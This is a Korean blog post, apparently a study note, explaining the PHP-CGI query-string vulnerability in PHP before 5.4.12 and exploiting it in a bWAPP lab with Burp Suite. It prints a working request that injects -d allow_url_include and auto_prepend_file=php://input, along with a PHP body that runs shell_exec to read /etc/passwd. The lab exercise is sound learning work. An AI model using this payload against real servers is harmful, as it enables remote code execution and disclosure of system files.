본문 바로가기
Security Project

27. PHP_CGI 취약점 이해 및 실습

by 귀멸 2022. 9. 21.

1. 취약점 이해

입력값 검증에 관한 취약점

PHP 5.4.12 이전 버전의 sapi/cgi/cig_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생.

php-cgi

-n 옵션 : php.ini 파일을 사용하지 않음

-s 옵션 : Source를 색을 입혀 보여주는 옵션

-d 옵션 : php.ini에 정의된 설정 내용을 임의 설정

 

Body로 임의의 코드를 대입하면 클라이언트 측에서 원하는 php 코드를 실행

allow_url_fopen=1  : 외부의 URL로 부터 파일을 읽어옴

allow_url_include=1 : 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용

auto_prepend_file=php://input  : Http Request Body로부터 data를 가져와 실행


2. 취약점 실습

Kali - Beebox - BWAPP  - A9 PHP CGI Remote Code Execution

+ Burp Suite

php admin page 접속 후  - s 옵션 사용

페이지를 source에 색을 입혀서 php 코드로 보이게 출력

이렇게 원격으로 옵션을 사용 할 있음을 이용하여 burp suite으로 공격 진행

 

공격 코드를 burp suite을 이용해 전송하면 /etc/passwd 내용을 body 값으로 출력한다.

/bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

<?php $output =shell_exec('cat /etc/passwd'); echo "$output"; die;

 

 

댓글